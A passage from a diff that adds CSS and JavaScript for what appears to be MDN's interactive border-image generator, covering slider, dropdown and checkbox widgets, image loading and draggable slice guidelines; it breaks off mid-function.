+ right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+ top: -10px;
+ left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+ top: -30px;
+ right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+ top: -10px;
+ right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+ bottom: -30px;
+ right: -20px;
+}
+
+/* Preview */
+
+#preview {
+ width: 30%;
+ height: 50%;
+ background-color: #FFF;
+ text-align: center;
+ overflow: hidden;
+ position: absolute;
+ z-index: 10;
+
+ left: 60%;
+ top: 15%;
+
+ border-radius: 2px;
+ border-image-width: 20px;
+ border-image-repeat: round;
+ box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+ width: 10px;
+ height: 10px;
+ background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+ position: absolute;
+ bottom: 0;
+ right: 0;
+}
+
+#preview .resize-handle:hover {
+ cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+ padding: 10px 30px;
+ background-color: #FFF;
+ opacity: 0.95;
+ color: #888;
+ /*border-radius: 2px;*/
+ box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+ width: 130px;
+ float: left;
+}
+
+#general-controls .name {
+ height: 20px;
+ margin: 0 10px 0 0;
+ line-height: 100%;
+ text-align: right;
+ float: left;
+}
+
+#general-controls .right {
+ width: 200px;
+ float: right;
+}
+
+#general-controls .ui-checkbox label {
+ height: 10px;
+}
+
+#general-controls .separator {
+ height: 40px;
+ width: 1px;
+ margin: -10px 15px;
+ background-color: #EEE;
+ float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+ color: #444;
+ margin: 10px 0 0 0;
+}
+
+#controls .category {
+ height: 190px;
+ min-width: 260px;
+ margin: 10px;
+ padding: 10px;
+ border: 1px solid #CCC;
+ border-radius: 3px;
+ float: left;
+
+ box-shadow: 0 0 3px 0 #BABABA;
+ transition: all 0.25s;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+ #controls .category {
+ width: 30%;
+ margin-left: 1.66%;
+ margin-right: 1.66%;
+ }
+}
+
+@media (max-width: 879px) {
+ #controls .category {
+ width: 37%;
+ margin-left: 6.5%;
+ margin-right: 6.5%;
+ }
+}
+
+#controls .category .title {
+ width: 100%;
+ height: 30px;
+ margin: 0 0 10px 0;
+ line-height: 25px;
+
+ text-align: center;
+ color: #AAA;
+}
+
+#controls .category:hover .title {
+ color: #777;
+}
+
+#controls .category &gt; .group {
+ border: 1px solid #CCC;
+ border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+ width: 250px;
+ height: 20px;
+ margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+ margin: 0;
+ float: left;
+}
+
+#controls .property .ui-input-slider-info {
+ width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+ transition: opacity 0.15s;
+ opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+ transition: opacity 0.15s;
+ opacity: 0;
+}
+
+#controls .property .name {
+ width: 60px;
+ height: 20px;
+ padding: 0px 10px 0px 0px;
+ text-align: right;
+ line-height: 100%;
+ float: left;
+}
+
+#controls .property .config {
+ width: 20px;
+ height: 20px;
+ float: left;
+ background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+ opacity: 0.5;
+}
+
+#controls .property .config:hover {
+ cursor: pointer;
+ opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+ opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+ opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+ margin: 0 10px;
+ float: left;
+}
+
+
+#controls .property .ui-checkbox {
+ margin: 0 0 0 16px;
+ float: left;
+}
+
+#controls .property .ui-checkbox label {
+ height: 0.85em;
+ width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+ width: 50px;
+ height: 1.7em;
+ border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+ line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+ top: 20px;
+}
+
+#controls .ui-dropdown-list {
+ border-width: 1px;
+ text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+ overflow: hidden;
+}
+
+#controls .border-repeat {
+ margin: 0 0 0 16px !important;
+ width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+ height: 6.2em;
+ border-width: 1px;
+ text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+ height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+ height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+ height: 4.3em;
+}
+
+#aditional-properties .property {
+ width: 200px;
+}
+
+#aditional-properties .ui-input-slider &gt; input {
+ width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+ padding: 10px;
+ position: absolute;
+
+ background: #FFF;
+
+ font-size: 12px;
+ border-radius: 3px;
+ border: 1px solid #CCC;
+ text-align: center;
+ color: #555;
+
+ position: absolute;
+ z-index: 1000;
+
+ box-shadow: 0 0 3px 0 #BABABA;
+ transition: all 0.25s;
+}
+
+#unit-settings .title {
+ width: 100%;
+ margin: -5px auto 0;
+
+ color: #666;
+ font-size: 14px;
+ font-weight: bold;
+ line-height: 25px;
+ border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+ margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+ width: 50px;
+ line-height: 1.5em;
+}
+
+#unit-settings input {
+ font-size: 12px;
+ width: 40px !important;
+}
+
+#unit-settings .close {
+ width: 16px;
+ height: 16px;
+ background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+ background-size: 75%;
+
+ position: absolute;
+ top: 4px;
+ right: 4px;
+ opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+ cursor: pointer;
+ opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+ opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+ opacity: 0;
+ top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+ padding: 10px;
+ border: 2px dashed #888 !important;
+ box-shadow: none !important;
+ border-radius: 3px;
+ overflow: hidden;
+
+ -moz-user-select: text;
+ -webkit-user-select: text;
+ -ms-user-select: text;
+ user-select: text;
+}
+
+
+@media (min-width: 880px) {
+ #output {
+ width: 63.33% !important;
+ }
+}
+
+@media (max-width: 879px) {
+ #output {
+ width: 87% !important;
+ }
+}
+
+
+#output .title {
+ width: 100%;
+ height: 30px;
+ margin: 0 0 10px 0;
+ line-height: 25px;
+
+ text-align: center;
+ color: #AAA;
+}
+
+#output .css-property {
+ width: 100%;
+ margin: 0;
+ color: #555;
+ font-size: 14px;
+ line-height: 18px;
+ float: left;
+}
+
+#output .css-property .name {
+ width: 30%;
+ font-weight: bold;
+ text-align: right;
+ float: left;
+}
+
+#output .css-property .value {
+ width: 65%;
+ padding: 0 2.5%;
+ word-break: break-all;
+ float: left;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+ var subscribers = {};
+ var sliders = [];
+
+ var InputComponent = function InputComponent(obj) {
+ var input = document.createElement('input');
+ input.setAttribute('type', 'text');
+ input.style.width = 50 + obj.precision * 10 + 'px';
+
+ input.addEventListener('click', function(e) {
+ this.select();
+ });
+
+ input.addEventListener('change', function(e) {
+ var value = parseFloat(e.target.value);
+
+ if (isNaN(value) === true)
+ setValue(obj.topic, obj.value);
+ else
+ setValue(obj.topic, value);
+ });
+
+ return input;
+ };
+
+ var SliderComponent = function SliderComponent(obj, sign) {
+ var slider = document.createElement('div');
+ var startX = null;
+ var start_value = 0;
+
+ slider.addEventListener("click", function(e) {
+ document.removeEventListener("mousemove", sliderMotion);
+ setValue(obj.topic, obj.value + obj.step * sign);
+ });
+
+ slider.addEventListener("mousedown", function(e) {
+ startX = e.clientX;
+ start_value = obj.value;
+ document.body.style.cursor = "e-resize";
+
+ document.addEventListener("mouseup", slideEnd);
+ document.addEventListener("mousemove", sliderMotion);
+ });
+
+ var slideEnd = function slideEnd(e) {
+ document.removeEventListener("mousemove", sliderMotion);
+ document.body.style.cursor = "auto";
+ slider.style.cursor = "pointer";
+ };
+
+ var sliderMotion = function sliderMotion(e) {
+ slider.style.cursor = "e-resize";
+ var delta = (e.clientX - startX) / obj.sensivity | 0;
+ var value = delta * obj.step + start_value;
+ setValue(obj.topic, value);
+ };
+
+ return slider;
+ };
+
+ var InputSlider = function(node) {
+ var min = parseFloat(node.getAttribute('data-min'));
+ var max = parseFloat(node.getAttribute('data-max'));
+ var step = parseFloat(node.getAttribute('data-step'));
+ var value = parseFloat(node.getAttribute('data-value'));
+ var topic = node.getAttribute('data-topic');
+ var unit = node.getAttribute('data-unit');
+ var name = node.getAttribute('data-info');
+ var sensivity = node.getAttribute('data-sensivity') | 0;
+ var precision = node.getAttribute('data-precision') | 0;
+
+ this.min = isNaN(min) ? 0 : min;
+ this.max = isNaN(max) ? 100 : max;
+ this.precision = precision &gt;= 0 ? precision : 0;
+ this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+ this.topic = topic;
+ this.node = node;
+ this.unit = unit === null ? '' : unit;
+ this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+ value = isNaN(value) ? this.min : value;
+
+ var input = new InputComponent(this);
+ var slider_left = new SliderComponent(this, -1);
+ var slider_right = new SliderComponent(this, 1);
+
+ slider_left.className = 'ui-input-slider-left';
+ slider_right.className = 'ui-input-slider-right';
+
+ if (name) {
+ var info = document.createElement('span');
+ info.className = 'ui-input-slider-info';
+ info.textContent = name;
+ node.appendChild(info);
+ }
+
+ node.appendChild(slider_left);
+ node.appendChild(input);
+ node.appendChild(slider_right);
+
+ this.input = input;
+ sliders[topic] = this;
+ setValue(topic, value);
+ };
+
+ InputSlider.prototype.setInputValue = function setInputValue() {
+ this.input.value = this.value.toFixed(this.precision) + this.unit;
+ };
+
+ var setValue = function setValue(topic, value, send_notify) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = parseFloat(value.toFixed(slider.precision));
+
+ if (value &gt; slider.max) value = slider.max;
+ if (value &lt; slider.min) value = slider.min;
+
+ slider.value = value;
+ slider.node.setAttribute('data-value', value);
+
+ slider.setInputValue();
+
+ if (send_notify === false)
+ return;
+
+ notify.call(slider);
+ };
+
+ var setMax = function setMax(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.max = value;
+ setValue(topic, slider.value);
+ };
+
+ var setMin = function setMin(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.min = value;
+ setValue(topic, slider.value);
+ };
+
+ var setUnit = function setUnit(topic, unit) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.unit = unit;
+ setValue(topic, slider.value);
+ };
+
+ var setStep = function setStep(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.step = parseFloat(value);
+ setValue(topic, slider.value);
+ };
+
+ var setPrecision = function setPrecision(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = value | 0;
+ slider.precision = value;
+
+ var step = parseFloat(slider.step.toFixed(value));
+ if (step === 0)
+ slider.step = 1 / Math.pow(10, value);
+
+ setValue(topic, slider.value);
+ };
+
+ var setSensivity = function setSensivity(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = value | 0;
+
+ slider.sensivity = value &gt; 0 ? value : 5;
+ };
+
+ var getNode = function getNode(topic) {
+ return sliders[topic].node;
+ };
+
+ var getPrecision = function getPrecision(topic) {
+ return sliders[topic].precision;
+ };
+
+ var getStep = function getStep(topic) {
+ return sliders[topic].step;
+ };
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+ subscribers[topic].push(callback);
+ };
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ };
+
+ var notify = function notify() {
+ if (subscribers[this.topic] === undefined)
+ return;
+ for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+ subscribers[this.topic][i](this.value);
+ };
+
+ var createSlider = function createSlider(topic, label) {
+ var slider = document.createElement('div');
+ slider.className = 'ui-input-slider';
+ slider.setAttribute('data-topic', topic);
+
+ if (label !== undefined)
+ slider.setAttribute('data-info', label);
+
+ new InputSlider(slider);
+ return slider;
+ };
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-input-slider');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new InputSlider(elem[i]);
+ };
+
+ return {
+ init : init,
+ setMax : setMax,
+ setMin : setMin,
+ setUnit : setUnit,
+ setStep : setStep,
+ getNode : getNode,
+ getStep : getStep,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe,
+ setPrecision : setPrecision,
+ setSensivity : setSensivity,
+ getPrecision : getPrecision,
+ createSlider : createSlider,
+ };
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+ var subscribers = {};
+ var dropdowns = [];
+ var active = null;
+
+ var visbility = ["hidden", "visible"];
+
+
+ var DropDown = function DropDown(node) {
+ var topic = node.getAttribute('data-topic');
+ var label = node.getAttribute('data-label');
+ var selected = node.getAttribute('data-selected') | 0;
+
+ var select = document.createElement('div');
+ var list = document.createElement('div');
+ var uval = 0;
+ var option = null;
+ var option_value = null;
+
+ list.className = 'ui-dropdown-list';
+ select.className = 'ui-dropdown-select';
+
+ while (node.firstElementChild !== null) {
+ option = node.firstElementChild;
+ option_value = option.getAttribute('data-value');
+
+ if (option_value === null)
+ option.setAttribute('data-value', uval);
+
+ list.appendChild(node.firstElementChild);
+ uval++;
+ }
+
+ node.appendChild(select);
+ node.appendChild(list);
+
+ select.onclick = this.toggle.bind(this);
+ list.onclick = this.updateValue.bind(this);
+ document.addEventListener('click', clickOut);
+
+ this.state = 0;
+ this.time = 0;
+ this.dropmenu = list;
+ this.select = select;
+ this.toggle(false);
+ this.value = {};
+ this.topic = topic;
+
+ if (label)
+ select.textContent = label;
+ else
+ this.setNodeValue(list.children[selected]);
+
+ dropdowns[topic] = this;
+
+ };
+
+ DropDown.prototype.toggle = function toggle(state) {
+ if (typeof(state) === 'boolean')
+ this.state = state === false ? 0 : 1;
+ else
+ this.state = 1 ^ this.state;
+
+ if (active !== this) {
+ if (active)
+ active.toggle(false);
+ active = this;
+ }
+
+ if (this.state === 0)
+ this.dropmenu.setAttribute('data-hidden', 'true');
+ else
+ this.dropmenu.removeAttribute('data-hidden');
+
+ };
+
+ var clickOut = function clickOut(e) {
+ if (active.state === 0 ||
+ e.target === active.dropmenu ||
+ e.target === active.select)
+ return;
+
+ active.toggle(false);
+ };
+
+ DropDown.prototype.updateValue = function updateValue(e) {
+
+ if (Date.now() - this.time &lt; 500)
+ return;
+
+ if (e.target.className !== "ui-dropdown-list") {
+ this.setNodeValue(e.target);
+ this.toggle(false);
+ }
+
+ this.time = Date.now();
+ };
+
+ DropDown.prototype.setNodeValue = function setNodeValue(node) {
+ this.value['name'] = node.textContent;
+ this.value['value'] = node.getAttribute('data-value');
+
+ this.select.textContent = node.textContent;
+ this.select.setAttribute('data-value', this.value['value']);
+
+ notify.call(this);
+ };
+
+ var createDropDown = function createDropDown(topic, options) {
+
+ var dropdown = document.createElement('div');
+ dropdown.setAttribute('data-topic', topic);
+ dropdown.className = 'ui-dropdown';
+
+ for (var i in options) {
+ var x = document.createElement('div');
+ x.setAttribute('data-value', i);
+ x.textContent = options[i];
+ dropdown.appendChild(x);
+ }
+
+ new DropDown(dropdown);
+
+ return dropdown;
+ };
+
+ var setValue = function setValue(topic, index) {
+ if (dropdowns[topic] === undefined ||
+ index &gt;= dropdowns[topic].dropmenu.children.length)
+ return;
+
+ dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+ };
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+ subscribers[topic].push(callback);
+ };
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ var index = subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ };
+
+ var notify = function notify() {
+ if (subscribers[this.topic] === undefined)
+ return;
+
+ for (var i in subscribers[this.topic]) {
+ subscribers[this.topic][i](this.value);
+ }
+ };
+
+ var init = function init() {
+ var elem, size;
+
+ elem = document.querySelectorAll('.ui-dropdown');
+ size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new DropDown(elem[i]);
+
+ };
+
+ return {
+ init : init,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe,
+ createDropDown : createDropDown
+ };
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+ var subscribers = [];
+ var buttons = [];
+
+ var CheckBox = function CheckBox(node) {
+ var topic = node.getAttribute('data-topic');
+ var state = node.getAttribute('data-state');
+ var name = node.getAttribute('data-label');
+ var align = node.getAttribute('data-text-on');
+
+ state = (state === "true");
+
+ var checkbox = document.createElement("input");
+ var label = document.createElement("label");
+
+ var id = 'checkbox-' + topic;
+ checkbox.id = id;
+ checkbox.setAttribute('type', 'checkbox');
+ checkbox.checked = state;
+
+ label.setAttribute('for', id);
+ if (name) {
+ label.className = 'text';
+ if (align)
+ label.className += ' ' + align;
+ label.textContent = name;
+ }
+
+ node.appendChild(checkbox);
+ node.appendChild(label);
+
+ this.node = node;
+ this.topic = topic;
+ this.checkbox = checkbox;
+
+ checkbox.addEventListener('change', function(e) {
+ notify.call(this);
+ }.bind(this));
+
+ buttons[topic] = this;
+ };
+
+ var getNode = function getNode(topic) {
+ return buttons[topic].node;
+ };
+
+ var setValue = function setValue(topic, value) {
+ var obj = buttons[topic];
+ if (obj === undefined)
+ return;
+
+ obj.checkbox.checked = value;
+ notify.call(obj);
+ };
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+
+ subscribers[topic].push(callback);
+ };
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ };
+
+ var notify = function notify() {
+ if (subscribers[this.topic] === undefined)
+ return;
+ for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+ subscribers[this.topic][i](this.checkbox.checked);
+ };
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-checkbox');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new CheckBox(elem[i]);
+ };
+
+ return {
+ init : init,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe
+ };
+
+})();
+
+window.addEventListener("load", function() {
+ BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+ var getElemById = document.getElementById.bind(document);
+
+ var subject;
+ var preview;
+ var guidelines = [];
+ var positions = ['top', 'right', 'bottom', 'left'];
+
+ var makeDraggable = function makeDraggable(elem) {
+
+ var offsetTop;
+ var offsetLeft;
+
+ elem.setAttribute('data-draggable', 'true');
+
+ var dragStart = function dragStart(e) {
+ if (e.target.getAttribute('data-draggable') !== 'true' ||
+ e.target !== elem || e.button !== 0)
+ return;
+
+ offsetLeft = e.clientX - elem.offsetLeft;
+ offsetTop = e.clientY - elem.offsetTop;
+
+ document.addEventListener('mousemove', mouseDrag);
+ document.addEventListener('mouseup', dragEnd);
+ };
+
+ var dragEnd = function dragEnd(e) {
+ if (e.button !== 0)
+ return;
+
+ document.removeEventListener('mousemove', mouseDrag);
+ document.removeEventListener('mouseup', dragEnd);
+ };
+
+ var mouseDrag = function mouseDrag(e) {
+
+ elem.style.left = e.clientX - offsetLeft + 'px';
+ elem.style.top = e.clientY - offsetTop + 'px';
+ };
+
+ elem.addEventListener('mousedown', dragStart, false);
+ };
+
+ var PreviewControl = function PreviewControl() {
+
+ var dragging = false;
+ var valueX = null;
+ var valueY = null;
+
+ var dragStart = function dragStart(e) {
+ if (e.button !== 0)
+ return;
+
+ valueX = e.clientX - preview.clientWidth;
+ valueY = e.clientY - preview.clientHeight;
+ dragging = true;
+
+ document.addEventListener('mousemove', mouseDrag);
+ };
+
+ var dragEnd = function dragEnd(e) {
+ if (e.button !== 0 || dragging === false)
+ return;
+
+ document.removeEventListener('mousemove', mouseDrag);
+ dragging = false;
+ };
+
+ var mouseDrag = function mouseDrag(e) {
+ InputSliderManager.setValue('preview-width', e.clientX - valueX);
+ InputSliderManager.setValue('preview-height', e.clientY - valueY);
+ };
+
+ var init = function init() {
+
+ makeDraggable(preview);
+ makeDraggable(subject);
+
+ var handle = document.createElement('div');
+ handle.className = 'resize-handle';
+
+ handle.addEventListener('mousedown', dragStart);
+ document.addEventListener('mouseup', dragEnd);
+
+ preview.appendChild(handle);
+
+ };
+
+ return {
+ init: init
+ };
+
+ }();
+
+ var ImageReader = (function ImageReader() {
+
+ var fReader = new FileReader();
+ var browse = document.createElement('input');
+
+ var loadImage = function loadImage(e) {
+ if (browse.files.length === 0)
+ return;
+
+ var file = browse.files[0];
+
+ if (file.type.slice(0, 5) !== 'image')
+ return;
+
+ fReader.readAsDataURL(file);
+
+ return false;
+ };
+
+ fReader.onload = function(e) {
+ ImageControl.loadRemoteImage(e.target.result);
+ };
+
+ var load = function load() {
+ browse.click();
+ };
+
+ browse.setAttribute('type', 'file');
+ browse.style.display = 'none';
+ browse.onchange = loadImage;
+
+ return {
+ load: load
+ };
+
+ })();
+
+ var ImageControl = (function ImageControl() {
+
+ var scale = 0.5;
+ var imgSource = new Image();
+ var imgState = null;
+ var selected = null;
+
+
+ var topics = ['slice', 'width', 'outset'];
+ var properties = {};
+ properties['border1'] = {
+ fill : false,
+
+ slice_values : [27, 27, 27, 27],
+ width_values : [20, 20, 20, 20],
+ outset_values : [0, 0, 0, 0],
+
+ slice_units : [0, 0, 0, 0],
+ width_units : [0, 0, 0, 0],
+ outset_units : [0, 0, 0, 0],
+
+ repeat : [1, 1],
+ size : [300, 200],
+ preview_area : 400
+ };
+
+ properties['border2'] = {
+ fill : false,
+
+ slice_values : [33, 33, 33, 33],
+ width_values : [1.5, 1.5, 1.5, 1.5],
+ outset_values : [0, 0, 0, 0],
+
+ slice_units : [1, 1, 1, 1],
+ width_units : [2, 2, 2, 2],
+ outset_units : [0, 0, 0, 0],
+
+ repeat : [2, 2],
+ size : [300, 200],
+ preview_area : 400
+ };
+
+ properties['border3'] = {
+ fill : true,
+
+ slice_values : [15, 15, 15, 15],
+ width_values : [10, 10, 10, 10],
+ outset_values : [0, 0, 0, 0],
+
+ slice_units : [0, 0, 0, 0],
+ width_units : [0, 0, 0, 0],
+ outset_units : [0, 0, 0, 0],
+
+ repeat : [2, 2],
+ size : [300, 200],
+ preview_area : 400
+ };
+
+ properties['border4'] = {
+ fill : false,
+
+ slice_values : [13, 13, 13, 13],
+ width_values : [13, 13, 13, 13],
+ outset_values : [13, 13, 13, 13],
+
+ slice_units : [0, 0, 0, 0],
+ width_units : [0, 0, 0, 0],
+ outset_units : [0, 0, 0, 0],
+
+ repeat : [0, 0],
+ size : [300, 200],
+ preview_area : 400
+ };
+
+ properties['border5'] = {
+ fill : false,
+
+ slice_values : [0, 12, 0, 12],
+ width_values : [0, 12, 0, 12],
+ outset_values : [0, 0, 0, 0],
+
+ slice_units : [0, 0, 0, 0],
+ width_units : [0, 0, 0, 0],
+ outset_units : [0, 0, 0, 0],
+
+ repeat : [0, 0],
+ size : [300, 200],
+ preview_area : 400,
+ };
+
+ properties['border6'] = {
+ fill : false,
+
+ slice_values : [42, 42, 42, 42],
+ width_values : [42, 42, 42, 42],
+ outset_values : [0, 0, 0, 0],
+
+ slice_units : [0, 0, 0, 0],
+ width_units : [0, 0, 0, 0],
+ outset_units : [0, 0, 0, 0],
+
+ repeat : [2, 2],
+ size : [350, 350],
+ preview_area : 500,
+ };
+
+
+ var loadLocalImage = function loadLocalImage(source) {
+ var location = "images/" + source;
+ imgSource.src = location;
+ };
+
+ var loadRemoteImage = function loadRemoteImage(source) {
+ imgSource.src = source;
+ if (selected)
+ selected.removeAttribute('selected');
+ Tool.setOutputCSS('source', 'url("' + source + '")');
+ };
+
+ var pickImage = function pickImage(e) {
+ if (e.target.className === 'image') {
+ selected = e.target;
+ selected.setAttribute('selected', 'true');
+ loadRemoteImage(e.target.src);
+ imgState = e.target.getAttribute('data-stateID');
+ }
+ };
+
+ var loadImageState = function loadImageState(stateID) {
+ if (properties[stateID] === undefined)
+ return;
+
+ var prop = properties[stateID];
+ var topic;
+ var unit_array;
+ var value_array;
+
+ for (var i in topics) {
+ for (var j=0; j&lt;4; j++) {
+ topic = topics[i] + '-' + positions[j];
+ unit_array = topics[i] + '_units';
+ value_array = topics[i] + '_values';
+ InputSliderManager.setValue(topic, prop[value_array][j]);
+ DropDownManager.setValue(topic, prop[unit_array][j]);
+ }
+ }
+
+ ButtonManager.setValue('slice-fill', prop['fill']);
+ DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+ DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+ InputSliderManager.setValue('preview-width', prop['size'][0]);
+ InputSliderManager.setValue('preview-height', prop['size'][1]);
+ InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+ };
+
+ var update = function update() {
+ scale = Math.min(300, (30000 / this.width) | 0);
+ setScale(scale);
+ InputSliderManager.setValue('scale', scale, false);
+
+ subject.style.backgroundImage = 'url("' + this.src + '")';
+ preview.style.borderImageSource = 'url("' + this.src + '")';
+
+ guidelines['slice-top'].setMax(this.height);
+ guidelines['slice-right'].setMax(this.width);
+ guidelines['slice-bottom'].setMax(this.height);
+ guidelines['slice-left'].setMax(this.width);
+
+ if (imgState)
+ loadImageState(imgState);
+ };
+
+ var setScale = function setScale(value) {
+ scale = value;
+ var w = imgSource.width * scale / 100 | 0;
+ var h = imgSource.height * scale / 100 | 0;
+ subject.style.width = w + 'px';
+ subject.style.height = h + 'px';
+
+ for (var i = 0; i &lt; positions.length; i++)
+ guidelines['slice-' + positions[i]].updateGuidelinePos();
+ };
+
+ var getScale = function getScale() {
+ return scale/100;
+ };
+
+ var toggleGallery = function toggleGallery() {
+ var gallery = getElemById('image-gallery');
+ var button = getElemById('toggle-gallery');
+ var state = 1;
+ button.addEventListener('click', function() {
+ state = 1 ^ state;
+ if (state === 0) {
+ gallery.setAttribute('data-collapsed', 'true');
+ button.setAttribute('data-action', 'show');
+ }
+ else {
+ gallery.removeAttribute('data-collapsed');
+ button.setAttribute('data-action', 'hide');
+ }
+ });
+ };
+
+ var init = function init() {
+ var gallery = getElemById('image-gallery');
+ var browse = getElemById('load-image');
+ var remote = getElemById('remote-url');
+ var load_remote = getElemById('load-remote');
+
+ remote.addEventListener('change', function(){
+ loadRemoteImage(this.value);
+ });
+
+ load_remote.addEventListener('click', function(){
+ loadRemoteImage(remote.value);
+ });
+
+ browse.addEventListener('click', ImageReader.load);
+ gallery.addEventListener('click', pickImage);
+ imgSource.addEventListener('load', update);
+
+ InputSliderManager.subscribe('scale', setScale);
+ InputSliderManager.setValue('scale', scale);
+ imgState = 'border1';
+ loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+ toggleGallery();
+ };
+
+ return {
+ init: init,
+ getScale : getScale,
+ loadRemoteImage: loadRemoteImage
+ };
+
+ })();
+
+ var GuideLine = function GuideLine(node) {
+ var topic = node.getAttribute('data-topic');
+ var axis = node.getAttribute('data-axis');
+
+ this.node = node;
+ this.topic = topic;
+ this.axis = axis;
+ this.info = topic.split('-')[1];
+
+ this.position = 0;
+ this.value = 0;
+ this.unit = 0;
+ this.max = 0;
+ this.pos = positions.indexOf(this.info);
+
+ guidelines[topic] = this;
+
+ var relative_container = document.createElement('div');
+ var tooltip = document.createElement('div');
+ var tooltip2 = document.createElement('div');
+
+ tooltip.className = 'tooltip';
+ tooltip.setAttribute('data-info', this.info);
+
+ tooltip2.className = 'tooltip2';
+ tooltip2.textContent = this.info;
+ tooltip2.setAttribute('data-info', this.info);
+
+ this.tooltip = tooltip;
+
+ relative_container.appendChild(tooltip);
+ relative_container.appendChild(tooltip2);
+ node.appendChild(relative_container);
+
+ var startX = 0;
+ var startY = 0;
+ var start = 0;
+
+ var startDrag = function startDrag(e) {
+ startX = e.clientX;
+ startY = e.clientY;
+ start = guidelines[topic].position;
+ document.body.setAttribute('data-move', axis);
+ relative_container.setAttribute('data-active', '');
+ node.setAttribute('data-active', '');
+
+ document.addEventListener('mousemove', updateGuideline);
+ document.addEventListener('mouseup', endDrag);
+ };
+
+ var endDrag = function endDrag() {
+ document.body.removeAttribute('data-move');
+ relative_container.removeAttribute('data-active');
+ node.removeAttribute('data-active');
+
+ document.removeEventListener('mousemove', updateGuideline);
+ };
+
+ var updateGuideline = function updateGuideline(e) {
+ var value;
+ if (topic === 'slice-top')
+ value = e.clientY - startY + start;
+
+ if (topic === 'slice-right')
+ value = startX - e.clientX + start;
+
+ if (topic === 'slice-bottom')
+ value = startY - e.clientY + start;
+
+ if (topic === 'slice-left')
+ value = e.clientX - startX + start;
+
+ if (this.unit === 0)
+ InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+ else {
